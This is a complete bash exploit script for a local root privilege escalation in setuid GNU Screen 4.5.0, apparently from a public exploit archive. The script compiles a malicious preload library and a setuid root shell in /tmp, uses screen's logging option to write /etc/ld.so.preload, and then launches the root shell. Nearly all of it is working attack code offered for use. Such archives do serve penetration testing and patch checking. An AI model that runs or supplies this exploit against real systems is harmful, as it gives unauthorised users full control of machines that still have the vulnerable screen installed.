GNU Screen 4.5.0 Local Root Privilege Escalation

`#!/bin/bash  
# screenroot.sh  
# setuid screen v4.5.0 local root exploit  
# abuses ld.so.preload overwriting to get root.  
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html  
# HACK THE PLANET  
# ~ infodox (25/1/2017)   
echo "~ gnu/screenroot ~"  
echo "[+] First, we create our shell and library..."  
cat << EOF > /tmp/libhax.c  
#include <stdio.h>  
#include <sys/types.h>  
#include <unistd.h>  
__attribute__ ((__constructor__))  
void dropshell(void){  
chown("/tmp/rootshell", 0, 0);  
chmod("/tmp/rootshell", 04755);  
unlink("/etc/ld.so.preload");  
printf("[+] done!\n");  
}  
EOF  
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c  
rm -f /tmp/libhax.c  
cat << EOF > /tmp/rootshell.c  
#include <stdio.h>  
int main(void){  
setuid(0);  
setgid(0);  
seteuid(0);  
setegid(0);  
execvp("/bin/sh", NULL, NULL);  
}  
EOF  
gcc -o /tmp/rootshell /tmp/rootshell.c  
rm -f /tmp/rootshell.c  
echo "[+] Now we create our /etc/ld.so.preload file..."  
cd /etc  
umask 000 # because  
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed  
echo "[+] Triggering..."  
screen -ls # screen itself is setuid, so...   
/tmp/rootshell  
  
`